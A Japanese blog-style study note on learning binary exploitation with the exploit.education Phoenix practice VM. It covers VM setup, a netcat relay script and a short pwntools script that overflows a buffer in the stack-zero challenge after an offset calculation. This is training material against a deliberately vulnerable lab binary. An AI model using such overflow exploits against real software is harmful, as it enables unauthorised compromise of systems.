pwn を学ぶプロジェクトを見つけたhttp://exploit.education 、一時的に pwn を学ぶために正しい方向に進むことを決め、ノートシリーズを始めてみることにしました(毎回 pwntools のスクリプトの書き方を忘れてしまうので)、途中で挫折しないことを願っています。小さな目標を設定して、少なくとも Phoenix シリーズを完了させましょう。
環境設定#
まず、more-downloads から phoenix の仮想マシンシステムイメージをダウンロードし、あなたのアーキテクチャに応じて選択します。これがターゲットマシンです。起動する前に、qemu-system-x86
をインストールする必要があります(64 ビット版も同じパッケージに含まれています(archlinux))。
boot-balabala.sh
を実行して仮想マシンを起動します。デフォルトで 2222 ポートで ssh が開かれます。ユーザー名とパスワードはどちらも user です。
netcat を使用して内部のプログラムを転送したい場合は、起動スクリプトに別のポート転送を追加するだけです。ここではネットワークのその行全体を例にします。
-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
次に、仮想マシン内で実行します。
mkfifo io
そして、スクリプトファイル(start.sh)を作成します。
#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io
これで、sh start.sh /opt/phoenix/amd64/stack-zero
のようにして netcat を起動できます。ポート 3333 は起動スクリプト内のものと一致させることを忘れないでください。
仮想マシン内の gdb にはデフォルトで gef がインストールされていますが、あまり使い方がわからないので、peda を scp で転送しました。省略します。
ホストマシンには非常に便利な pwntools をインストールします:pip install pwntools
stack-zero#
プログラムは比較的簡単なので、cutter を直接使用しました。
(実際には exploit.education のウェブサイトにソースコードが提供されています)(冒頭のコメントは実際には冷やかしのジョークです)
私たちは今、s を var_10h (changeme) にオーバーフローさせる必要があります。内容は何でも構いません。gdb を開いて距離を計算し、まずは適当に何かを入力します。
文字列は0x620
にあります。
条件文では、changeme はrbp-0x10
にあり、つまり0x670-0x10
です。
0x660-0x620=0x40
を計算します。
したがって、0x41
個の a を出力すればよいのです。
pwntools を使う練習のために、コードを書きます。
ここでは直接 ssh で接続しましたので、nc は必要ありません。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()
成功しました。